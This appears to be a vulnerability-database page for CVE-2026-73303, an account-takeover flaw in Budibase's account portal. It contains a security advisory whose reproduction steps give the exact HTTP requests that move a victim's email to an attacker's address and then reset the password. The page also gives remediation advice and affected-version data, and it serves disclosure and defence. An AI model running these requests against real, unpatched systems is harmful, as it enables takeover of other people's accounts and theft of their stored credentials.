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budibase · Vulnerability

CVSS 3.1 8.2 HIGHEUVD CVSS 3.1 8.2 CVSS 3.1 · [email protected] · Secondary 8.2 HIGHPublisher rating HIGHCheck source for fixed versionsKEV status unknown

cve-program · CVE-2026-73303

Published

Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.

Read the publisher's advisory

euvd · EUVD-2026-57426

Published

Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.

Read the publisher's advisory

nvd · CVE-2026-73303

Published

Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.

Read the publisher's advisory

osv · GHSA-c8vc-7pv3-g98p

Published

## Summary `POST /api/v2/email` on the account portal (`account.budibase.app`) starts an email-change workflow using a client-supplied `accountId` that is **not validated against the authenticated session**. A logged-in attacker supplies a victim's `accountId` and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the **victim's** account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction. ## Vulnerability Details The endpoint session-checks the `currentEmail` field (a mismatch returns 403), but it does not enforce `body.accountId === session.accountId`. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's `accountId` can point the workflow at the victim's account while passing their own `currentEmail` to clear the session check. This is more powerful than a direct password reset: `PUT /api/v2/auth/password {email}` already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know. **accountId obtainability.** We checked every endpoint reachable from a non-admin free-tier account — `GET /api/global/users` (no UUID in any user record), `GET /api/global/auditlogs/search` (no accountId field), `GET /api/global/users/invites` (code + email + name only), `GET /api/v2/tenant` (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's `accountId` was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.). ## Steps to Reproduce **Setup:** Two account-portal accounts at `https://account.budibase.app` — Account A (attacker) and Account B (victim). From Account B's session, `GET /api/auth/self` returns `account.accountId` — this is the value the attacker needs. 1. **Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.** ```http POST /api/v2/email HTTP/1.1 Host: account.budibase.app Content-Type: application/json Cookie: budibase:auth=<ACCOUNT_A_JWT> {"currentEmail":"<ACCOUNT_A_EMAIL>","newEmail":"[email protected]","accountId":"<VICTIM_ACCOUNT_ID>"} ``` Response: `201 Created`, sets `budibase:change_email:correlationkey` (HttpOnly), `:instancekey`, `:status`, `:newemail` cookies. The workflow started against the victim's accountId even though the caller is Account A. 2. **Complete the change with the code from the attacker-controlled inbox (or read directly from the `correlationkey` cookie set in step 1).** ```http POST /api/v2/email/verification HTTP/1.1 Host: account.budibase.app Content-Type: application/json Cookie: budibase:auth=<ACCOUNT_A_JWT>; budibase:change_email:correlationkey=<CODE>; budibase:change_email:instancekey=<KEY> {"verificationCode":"<code>","processInstanceKey":"<key>"} ``` Response: `200 OK`. The victim's account email is now `[email protected]`. 3. **Confirm the change hit the victim, not the caller (false-positive control).** - Account A (caller) still logs in with its own original email — 200, unchanged. - Account B's (victim) original email is now rejected — 403, locked out. - `[email protected]` now logs into the victim's account — 200. 4. **Take over the account.** ```http PUT /api/v2/auth/password HTTP/1.1 Host: account.budibase.app Content-Type: application/json {"email":"[email protected]"} ``` Response: `202 Accepted`, reset link delivered to the attacker's own inbox. Complete the reset with `PUT /api/v2/auth/password/verification`, then log in as the victim with the attacker-chosen password. `GET /api/auth/self` afterward returns the victim's real `accountId` and `tenantId` — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test). ## Impact An authenticated account-portal user who obtains a victim's `accountId` (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow. ## Remediation Validate that the body's `accountId` equals the authenticated session's `accountId` before starting or completing the email-change workflow (the same check already applied to `currentEmail`). Do not trust a client-supplied `accountId` to select the workflow target.

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Affected versions, risk and source history

cve-program · CVE-2026-73303

Published

budibase

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Budibase",
                    "product": "budibase",
                    "versions": [
                        {
                            "version": "< 3.40.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-57426

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 12, 2026, 6:51:38 PM

dateUpdated: Aug 12, 2026, 10:11:41 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-73303

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-639

Original publisher date fields

published: 2026-08-12T20:17:54.133

lastModified: 2026-09-08T20:56:50.520

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-c8vc-7pv3-g98p

Published

@budibase/server

npm

SEMVER · introduced 0 → last_affected 3.38.1

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

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